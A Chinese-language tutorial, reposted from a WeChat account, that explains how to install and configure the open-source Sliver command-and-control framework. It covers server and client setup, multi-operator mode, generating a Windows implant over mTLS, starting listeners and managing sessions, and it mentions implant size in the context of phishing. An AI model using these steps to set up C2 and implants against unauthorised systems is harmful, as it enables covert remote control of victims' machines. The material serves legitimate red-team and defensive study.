-
Sliver架构 -
Sliver重要概念
-
Sliver Server安装配置 -
Sliver Client安装配置
三、Sliver常用操作
Sliver是一款开源的Go语言C2,支持生成常见架构的木马。
项目地址:https://github.com/BishopFox/sliver
文档:https://github.com/BishopFox/sliver/wiki
主要特点:
-
动态编译、编译时混淆
-
多人模式
-
分阶段和无阶段payload
-
多通讯协议支持
-
内置Windows 进程迁移、进程注入、用户令牌操作等
-
BOF、.NET assembly execution…
首先来看一下Sliver的架构,可以明显看出Sliver在设计上是考虑了多用户以及多平台木马生成。
Sliver的架构
在开始之前,先了解一下Sliver的重要概念,以便更好的理解Sliver的使用。
Server 控制台
Server 控制台是主界面,在运行Sliver服务器可执行文件时启动。Server 控制台是Client 控制台的超集。
Sliver Server
Client 控制台
Implant
在希望远程访问的目标系统上运行的实际恶意程序。
[ ] --(In Memory gRPC)--> [ Sliver Server ] --(不同 C2 协议)--> [ Implant ]
^
|
(mTLS gRPC)
|
[ ]
环境示例
Sliver Server:Ubuntu 20.04 LTS
Sliver Client:Kali
目标机器:Centos7 Windows 2019
wget https://github.com/BishopFox/sliver/releases/download/v1.5.16/sliver-server_linux #下载服务端程序
sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64 #安装依赖
chmod +x sliver-server_linux
sudo ./sliver-server_linux
输出以下信息就是已经完成了Sliver Server的安装
如果是单用户,到这步已经完成了安装,可以直接在终端执行相关命令。但如果是多client协同则还需要进行下面的步骤:
生成client端配置文件
new-operator --name BTSEC --lhost Server服务器IP #新建一个client
multiplayer #启用多用户
这时,server默认会监听一个端口31337,可以修改掉~/.sliver/configs/server.json
sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
wget https://github.com/BishopFox/sliver/releases/download/v1.5.16/sliver-client_linux
./sliver-client_linux import /root/BTSEC_xx.xx.xx.xx.cfg
./sliver-client_linux
如果导入过多个配置文件,可能会提示选择连接的Sliver Server,单配置文件Client连接server端成功后输出如下:
这样就完成了C/S架构的Sliver安装配置。
基本命令
help #帮助
version #版本
operators #查看在线的client
生成implant
implant主要支持:mac、windows、linux
tips:生成implant超时一般是网络环境问题
generate --mtls <Server IP> --save ./test.exe --os Windows
因为是go打包的,所以implant一般是10M以上。这点一定要注意,如果做钓鱼马会太大。
开启listener
mtls
jobs
ID Name Protocol Port
==== ====== ========== =======
1 grpc tcp 31337
2 mtls tcp 8888
implants命令可以查看生成过的implants,包括回连信息
执行木马后,如果成功回连则会有一条通知同步client和server,通知内容主要包含session id、外网IP、主机名、平台、时间
可以通过sessions查看目前的会话
会话操作
sessions -k 0edf9fb8 #杀死会话0edf9fb8
sessions -i af17e11c #进入会话af17e11c
help命令
help命令可以查看当前可以执行的命令,help + 具体命令就是该命令的详细帮助,命令同样也是分为通用命令和平台专有的命令
精力所限,Sliver的其他功能,比如BOF、Pivots、beacon等功能在此不再一一介绍。
通过本文的简单介绍,可以看出Sliver已是一个功能较完善的C2,但易用性有待提升,比如没有GUI界面。而且多数库因网络环境受限,快速上手还是不怎么方便,但是因为开源的优势,对于有开发能力的同学还是很香的。
除了Sliver以外,也可以关注C2Matrix这个项目。C2Matrix维护了大量商业/开源C2的各项参数对比,可以根据需要选择合适的C2。
原文始发于微信公众号(赤旗情报站):开源C2 Sliver的安装及配置
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论